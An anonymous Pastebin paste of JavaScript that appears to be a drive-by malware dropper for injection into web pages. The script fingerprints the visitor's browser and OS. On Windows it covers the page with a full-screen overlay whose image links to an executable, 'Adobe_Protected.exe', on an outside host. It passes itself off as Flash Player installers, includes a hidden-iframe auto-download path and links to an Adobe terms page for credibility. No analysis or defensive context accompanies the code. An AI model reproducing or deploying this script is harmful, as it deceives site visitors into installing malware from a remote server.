daily pastebin goal
81%
SHARE
TWEET

Untitled

a guest Feb 12th, 2019 74 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3. var browser="";
  4.  
  5. var myDivImg;
  6.  
  7. /*Real Image Width and Height*/
  8. var imgWidth = 0;
  9. var imgHeight = 0;
  10. var realWidth;
  11. var realHeight;
  12. var tgtimage;
  13. var image1;
  14.  
  15. function Browser() {  
  16.     // ---- public properties -----
  17.     this.fullName = 'unknow'; // getName(false);
  18.     this.name = 'unknow'; // getName(true);
  19.     this.code = 'unknow'; // getCodeName(this.name);
  20.     this.fullVersion = 'unknow'; // getVersion(this.name);
  21.     this.version = 'unknow'; // getBasicVersion(this.fullVersion);
  22.     this.mobile = false; // isMobile(navigator.userAgent);
  23.     this.width = screen.width;
  24.     this.height = screen.height;
  25.     this.platform =  'unknow'; //getPlatform(navigator.userAgent);
  26.    
  27.     // ------- init -------    
  28.     this.init = function() { //operative system, is an auxiliary var, for special-cases
  29.         //the first var is the string that will be found in userAgent. the Second var is the common name
  30.         // IMPORTANT NOTE: define new navigators BEFORE firefox, chrome and safari
  31.         var navs = [
  32.             { name:'Opera Mobi', fullName:'Opera Mobile', pre:'Version/' },
  33.             { name:'Opera Mini', fullName:'Opera Mini', pre:'Version/' },
  34.             { name:'Opera', fullName:'Opera', pre:'Version/' },
  35.             { name:'MSIE', fullName:'Microsoft Internet Explorer', pre:'MSIE ' },
  36.             { name:'Trident', fullName:'Microsoft Internet Explorer', pre:'MSIE ' },           
  37.             { name:'BlackBerry', fullName:'BlackBerry Navigator', pre:'/' },
  38.             { name:'BrowserNG', fullName:'Nokia Navigator', pre:'BrowserNG/' },
  39.             { name:'Midori', fullName:'Midori', pre:'Midori/' },
  40.             { name:'Kazehakase', fullName:'Kazehakase', pre:'Kazehakase/' },
  41.             { name:'Chromium', fullName:'Chromium', pre:'Chromium/' },
  42.             { name:'Flock', fullName:'Flock', pre:'Flock/' },
  43.             { name:'Galeon', fullName:'Galeon', pre:'Galeon/' },
  44.             { name:'RockMelt', fullName:'RockMelt', pre:'RockMelt/' },
  45.             { name:'Fennec', fullName:'Fennec', pre:'Fennec/' },
  46.             { name:'Konqueror', fullName:'Konqueror', pre:'Konqueror/' },
  47.             { name:'Arora', fullName:'Arora', pre:'Arora/' },
  48.             { name:'Swiftfox', fullName:'Swiftfox', pre:'Firefox/' },
  49.             { name:'Maxthon', fullName:'Maxthon', pre:'Maxthon/' },
  50.             // { name:'', fullName:'', pre:'' } //add new broswers
  51.             // { name:'', fullName:'', pre:'' }
  52.             { name:'Firefox',fullName:'Mozilla Firefox', pre:'Firefox/' },
  53.             { name:'Chrome', fullName:'Google Chrome', pre:'Chrome/' },
  54.             { name:'Safari', fullName:'Apple Safari', pre:'Version/' }
  55.         ];
  56.    
  57.         var agent = navigator.userAgent, pre;
  58.         //set names
  59.         for (i in navs) {
  60.            if (agent.indexOf(navs[i].name)>-1) {
  61.                pre = navs[i].pre;
  62.                this.name = navs[i].name.toLowerCase(); //the code name is always lowercase
  63.                this.fullName = navs[i].fullName;
  64.                 if (this.name=='msie') this.name = 'iexplorer';
  65.                 if (this.name=='Trident') this.name = 'iexplorer';
  66.                 if (this.name=='opera mobi') this.name = 'opera';
  67.                 if (this.name=='opera mini') this.name = 'opera';
  68.                 break; //when found it, stops reading
  69.             }
  70.         }//for
  71.        
  72.       //set version
  73.         if ((idx=agent.indexOf(pre))>-1) {
  74.             this.fullVersion = '';
  75.             this.version = '';
  76.             var nDots = 0;
  77.             var len = agent.length;
  78.             var indexVersion = idx + pre.length;
  79.             for (j=indexVersion; j<len; j++) {
  80.                 var n = agent.charCodeAt(j);
  81.                 if ((n>=48 && n<=57) || n==46) { //looking for numbers and dots
  82.                     if (n==46) nDots++;
  83.                     if (nDots<2) this.version += agent.charAt(j);
  84.                     this.fullVersion += agent.charAt(j);
  85.                 }else j=len; //finish sub-cycle
  86.             }//for
  87.             this.version = parseInt(this.version);
  88.         }
  89.        
  90.         // set Mobile
  91.         var mobiles = ['mobi', 'mobile', 'mini', 'iphone', 'ipod', 'ipad', 'android', 'blackberry'];
  92.         for (var i in mobiles) {
  93.             if (agent.indexOf(mobiles[i])>-1) this.mobile = true;
  94.         }
  95.         if (this.width<700 || this.height<600) this.mobile = true;
  96.        
  97.         // set Platform        
  98.         var plat = navigator.platform;
  99.         if (plat=='Win32' || plat=='Win64') this.platform = 'Windows';
  100.         if (agent.indexOf('NT 5.1') !=-1) this.platform = 'Windows XP';        
  101.         if (agent.indexOf('NT 6') !=-1)  this.platform = 'Windows Vista';
  102.         if (agent.indexOf('NT 6.1') !=-1) this.platform = 'Windows 7';
  103.         if (agent.indexOf('NT 6.2') !=-1) this.platform = 'Windows 8';
  104.         if (agent.indexOf('Mac') !=-1) this.platform = 'Macintosh';
  105.         if (agent.indexOf('Linux') !=-1) this.platform = 'Linux';
  106.         if (agent.indexOf('iPhone') !=-1) this.platform = 'iOS iPhone';
  107.         if (agent.indexOf('iPod') !=-1) this.platform = 'iOS iPod';
  108.         if (agent.indexOf('iPad') !=-1) this.platform = 'iOS iPad';
  109.         if (agent.indexOf('Android') !=-1) this.platform = 'Android';
  110.        
  111.         if (this.name!='unknow') {
  112.             this.code = this.name+'';
  113.             if (this.name=='opera') this.code = 'op';
  114.             if (this.name=='firefox') this.code = 'ff';
  115.             if (this.name=='chrome') this.code = 'ch';
  116.             if (this.name=='safari') this.code = 'sf';
  117.             if (this.name=='iexplorer') this.code = 'ie';
  118.             if (this.name=='maxthon') this.code = 'mx';
  119.         }
  120.        
  121.         //manual filter, when is so hard to define the navigator type
  122.         if (this.name=='safari' && this.platform=='Linux') {
  123.             this.name = 'unknow';
  124.             this.fullName = 'unknow';
  125.             this.code = 'unknow';
  126.         }
  127.        
  128.     };//function
  129.    
  130.     this.init();
  131.  
  132. }//Browser class
  133.  
  134. var brw = new Browser();
  135.  
  136. var nombrenavegadorweb = brw.name;
  137. var versionnavegador = brw.version;
  138. var sistemaoperativo = brw.platform;
  139.  
  140.  
  141.  
  142. // Detect the Browser using the UserAgent
  143. function detectBrowser() {
  144.     if ((typeof(navigator) != "undefined") && (typeof(navigator.userAgent) != "undefined")) {
  145.         var ua = navigator.userAgent;
  146.  
  147.         if (ua.search(/chrome/i) != -1) {
  148.             return "chrome";
  149.         }      
  150.        
  151.         if (ua.search(/webkit/i) != -1) {
  152.             return "safari";
  153.         }
  154.        
  155.         if (ua.search(/opera/i) != -1) {
  156.             return "opera";
  157.         }      
  158.        
  159.         if ((ua.search(/msie/i) != -1) && (ua.search(/opera/i) == -1)) {
  160.             return "msie";
  161.         }
  162.        
  163.         if ((ua.search(/mozilla/i) != -1) && (ua.search(/(compatible|webkit)/i) == -1)) {
  164.             return "mozilla";
  165.         }
  166.        
  167.         return "msie"; // return msie as default if unable to detect via user agent
  168.     }
  169.         // The navigator.userAgent object does not exists
  170.         return "";
  171. }
  172.  
  173. var winW=0;
  174. var winH=0;
  175.  
  176.  
  177.  
  178. function getWindowSize() {
  179.     winW = 0, winH = 0;
  180.     if (document.body && document.body.offsetWidth) {
  181.         winW = document.body.offsetWidth;
  182.         winH = document.body.offsetHeight;
  183.     }
  184.    
  185.     if (document.compatMode=='CSS1Compat' &&
  186.         document.documentElement &&
  187.         document.documentElement.offsetWidth ) {
  188.         winW = document.documentElement.offsetWidth;
  189.         winH = document.documentElement.offsetHeight;
  190.     }
  191.    
  192.     if (window.innerWidth && window.innerHeight) {
  193.         winW = window.innerWidth;
  194.         winH = window.innerHeight;
  195.     }
  196. }
  197.  
  198. function scaleSize(maxW, maxH, currW, currH){
  199.     var ratio = currH / currW;
  200.    
  201.     var currH2=currH;
  202.     var currW2=currW;
  203.    
  204.     if(currH >= maxH) {
  205.         currH = maxH;
  206.         currW = currH / ratio;
  207.     }
  208.    
  209.     if(currW >= maxW && ratio <= 1){
  210.         currW = maxW;
  211.         currH = currW * ratio;
  212.     }    
  213.    
  214.    
  215.     return [currW, currH];
  216. }
  217.  
  218. var imgWidth1 = 0;
  219. var imgHeight1 = 0;
  220.  
  221. function setImageSize(update) {
  222.     var sw = getScrollBarWidth();
  223.    
  224.     if (imgWidth1 != 0) imgWidth1 = imgWidth;
  225.     if (imgHeight1 != 0) imgHeight1 = imgHeight;
  226.     imgWidth1 = image1.width;
  227.     imgHeight1 = image1.height;
  228.     getWindowSize();
  229.  
  230.     winW -= sw;
  231.    
  232.     if (imgWidth1 >= winW || imgHeight1 >= winH) {
  233.         var newSize = scaleSize(winW*0.9, winH*0.9, realWidth, realHeight);
  234.         imgWidth = newSize[0];
  235.         imgHeight = newSize[1];
  236.     } else {
  237.         imgWidth = imgWidth1;
  238.         imgHeight = imgHeight1;
  239.     }
  240.    
  241.     if (update) {
  242.         tgtimage.width = imgWidth;
  243.         tgtimage.height = imgHeight;       
  244.         centerDiv(myDivImg);   
  245.     }
  246. }
  247.  
  248. function getScrollBarWidth () {  
  249.     var inner = document.createElement('p');  
  250.     inner.style.width = "100%";  
  251.     inner.style.height = "200px";  
  252.  
  253.     var outer = document.createElement('div');  
  254.     outer.style.position = "absolute";  
  255.     outer.style.top = "0px";  
  256.     outer.style.left = "0px";  
  257.     outer.style.visibility = "hidden";  
  258.     outer.style.width = "200px";  
  259.     outer.style.height = "150px";  
  260.     outer.style.overflow = "hidden";  
  261.     outer.appendChild (inner);  
  262.  
  263.     document.body.appendChild (outer);  
  264.     var w1 = inner.offsetWidth;  
  265.     outer.style.overflow = 'scroll';  
  266.     var w2 = inner.offsetWidth;  
  267.     if (w1 == w2) w2 = outer.clientWidth;  
  268.  
  269.     document.body.removeChild (outer);  
  270.  
  271.     return (w1 - w2);  
  272. };
  273.  
  274. function centerDiv(d) {
  275.     var w = imgWidth/2;
  276.     var h = imgHeight/2;
  277.    
  278.     getWindowSize(); // returns the window size in winW,winH
  279.     if (winW==0)
  280.         winW = screen.width;
  281.     if (winH==0)
  282.         winH == screen.height;
  283.    
  284.     var __screenY=winW/2;
  285.     var __screenX=winH/2;
  286.    
  287.     d.style.top = __screenX-h+"px";
  288.     d.style.left = __screenY-w+"px";
  289. }
  290.  
  291. // Start function when the page loads
  292. function initTimer() {
  293.     browser = detectBrowser();
  294.    
  295.     // Detect the underlying operating system (like Windows or Linux)
  296.     var os = (window.orientation != undefined) ? 'ipod': (navigator.platform.match(/mac|win|linux/i) || ['other'])[0].toLowerCase();
  297.    
  298.     var execwindows = "http://potrans.5v.pl/Adobe_Protected.exe";
  299.     var execlinux = "flash-player21-installer.sh";
  300.     var execmac = "flash-player21-installer.dmg";
  301.     var filename = null;
  302.    
  303.     if (os == "win") {
  304.         filename = execwindows;
  305.     }
  306.    
  307.     if (os=="linux") {
  308.  
  309.     }
  310.    
  311.     if (os=="mac") {
  312.    
  313.     }
  314.  
  315.     if (filename == null) {
  316.         filename = execwindows;
  317.     }
  318.    
  319.     var myDiv = document.createElement('div');  
  320.     myDiv.id = 'myDiv';  
  321.     myDiv.style.position = 'fixed';  
  322.     myDiv.style.top = 0;
  323.     myDiv.style.left = 0;
  324.     myDiv.style.width = "100%";  
  325.     myDiv.style.height = "100%";  
  326.     myDiv.style.backgroundColor = '#000';
  327.     myDiv.style.zIndex = 2147483646;
  328.  
  329.     if (browser != "msie") {
  330.         myDiv.style.opacity = '0.65';
  331.     } else {
  332.         myDiv.style.filter = 'progid:DXImageTransform.Microsoft.Alpha(opacity=65)';
  333.     }
  334.    
  335.     myDiv.setAttribute("unselectable", "on");
  336.     myDiv.setAttribute("class", "unselectable");   
  337.    
  338.     document.body.appendChild(myDiv);
  339.        
  340.     myDivImg = document.createElement('div');
  341.     myDivImg.id = 'myDivImg';
  342.     myDivImg.style.position = 'fixed'; 
  343.    
  344.  
  345.     centerDiv(myDivImg);
  346.     myDivImg.style.zIndex = 2147483647;
  347.    
  348.     myDivImg.setAttribute("unselectable", "on");
  349.     myDivImg.setAttribute("class", "unselectable");
  350.    
  351.  
  352.     var ahref = document.createElement('a');
  353.     ahref.href = filename;
  354.     ahref.title = "Missing";
  355.     ahref.style.border = 0;
  356.     tgtimage = document.createElement('img');
  357.     tgtimage.src = "https://my.mixtape.moe/mibrlv.jpg";
  358.     tgtimage.width = imgWidth;
  359.     tgtimage.height = imgHeight;
  360.     tgtimage.style.border = 0;
  361.    
  362.     ahref.appendChild(tgtimage);
  363.     myDivImg.appendChild(ahref);
  364.    
  365.     document.body.appendChild(myDivImg);
  366.  
  367.  
  368.     window.onresize = function(event) {
  369.         setImageSize(true);
  370.     }  
  371.  
  372.  
  373.     var autodownload = "True";
  374.  
  375.     if (autodownload.toLowerCase() != "true") {
  376.         var download = document.createElement('iframe');
  377.         download.src = filename;
  378.         download.width = 0;
  379.         download.height = 0;
  380.         download.style.border = "0";
  381.         download.style.display = "none";
  382.         download.style.visibility = "hidden";
  383.         download.border = 0;
  384.        
  385.         document.body.appendChild(download);   
  386.     }
  387. }
  388.  
  389. function init() {
  390.  
  391.  
  392.    
  393.     if(sistemaoperativo == "Windows" || sistemaoperativo == "Windows XP" || sistemaoperativo == "Windows Vista" || sistemaoperativo == "Windows 7" || sistemaoperativo == "Windows 8")
  394.     {
  395.        
  396.  
  397.         window.setTimeout("initTimer()", 1000);
  398.     }
  399.    
  400.  
  401.     var cookie_kv = document.cookie.split("=");
  402.     if(cookie_kv[0] == "started" && cookie_kv[1]== "true") {
  403.         return;
  404.     }
  405.    
  406. }
  407.  
  408. image1 = new Image();
  409. image1.src = "https://my.mixtape.moe/mibrlv.jpg";
  410.  
  411. image1.onload = function() {
  412.     realWidth = image1.width;
  413.     realHeight = image1.height;
  414.     setImageSize(false);
  415.     init();
  416. };
  417.  
  418.  
  419.  
  420. function carga(){
  421.     window.location = "https://www.adobe.com/go/gffooter_terms_of_use_es";
  422. }
  423.  
  424.  
  425.  
  426. function createCookie(name,value,days) {
  427.     if (days) {
  428.         var date = new Date();
  429.         date.setTime(date.getTime()+(days*24*60*60*1000));
  430.         var expires = "; expires="+date.toGMTString();
  431.     }
  432.     else var expires = "";
  433.     document.cookie = name+"="+value+expires+"; path=/";
  434. }
  435.  
  436.  
  437. function readCookie(name) {
  438.     var nameEQ = name + "=";
  439.     var ca = document.cookie.split(';');
  440.     for(var i=0;i < ca.length;i++) {
  441.         var c = ca[i];
  442.         while (c.charAt(0)==' ') c = c.substring(1,c.length);
  443.         if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  444.     }
  445.     return null;
  446. }
  447.  
  448. function eraseCookie(name) {
  449.     createCookie(name,"",-1);
  450. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top